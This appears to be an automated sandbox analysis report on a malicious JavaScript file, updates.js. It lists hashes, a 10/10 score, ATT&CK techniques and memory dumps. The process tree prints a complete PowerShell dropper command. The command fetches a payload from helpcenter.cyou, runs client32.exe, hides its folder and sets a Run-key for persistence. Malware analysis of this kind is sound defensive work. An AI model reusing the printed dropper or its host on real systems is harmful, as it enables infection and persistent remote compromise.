4ce41be6e6f3f37ed9a75211cbd951009b19222191fc143c12d83fa1ee48542c

Analysis

max time kernel
118s
max time network
124s
platform
windows7_x64
resource
win7-20240611-en
resource tags

arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
submitted
03-07-2024 20:28

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General

Target

updates.js
Size

7.3MB
MD5

69da3925220ff90aefd28766c75a04b9
SHA1

fbd11ad48154197617c19d06728391a72172fa58
SHA256

4ce41be6e6f3f37ed9a75211cbd951009b19222191fc143c12d83fa1ee48542c
SHA512

8c3ab680a5e5999d72f0e56c3728e035772747d0c34038eae213f86581dc191197449f769b416917cba7b90e6c2b2fa38762c8c58decea4d0fc59734b4d56516
SSDEEP

49152:47h4zjCxb7qHlp4BOlN0KFhcuscyEMzYsm7++86mn3Ef/Vf7GI0/3qp6RCgScEQA:v

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://helpcenter.cyou/help.php?8560

exe.dropper

http://helpcenter.cyou/help.php?8560

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2124	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2124	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2124	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2124	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2160 wrote to memory of 2124	2160	wscript.exe	28
PID 2160 wrote to memory of 2124	2160	wscript.exe	28
PID 2160 wrote to memory of 2124	2160	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\updates.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $RPBHC='http://helpcenter.cyou/help.php?8560';$UAWWAWEN=(New-Object System.Net.WebClient).DownloadString($RPBHC);$RJOJJCE=[System.Convert]::FromBase64String($UAWWAWEN);$asd = Get-Random -Minimum -10 -Maximum 37; $RZPF=[System.Environment]::GetFolderPath('ApplicationData')+'\TYHEIBOHQ'+$asd;if (!(Test-Path $RZPF -PathType Container)) { New-Item -Path $RZPF -ItemType Directory };$p=Join-Path $RZPF 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$RJOJJCE);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$RZPF)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $RZPF 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $RZPF -Force; $fd.attributes='Hidden';$s=$RZPF+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='WUGHFT';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2124

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2124-4-0x000007FEF5C7E000-0x000007FEF5C7F000-memory.dmp

Filesize
4KB

Download
memory/2124-5-0x000000001B3C0000-0x000000001B6A2000-memory.dmp

Filesize
2.9MB

Download
memory/2124-6-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download
memory/2124-7-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download
memory/2124-8-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download
memory/2124-9-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download
memory/2124-10-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download
memory/2124-11-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download
memory/2124-13-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download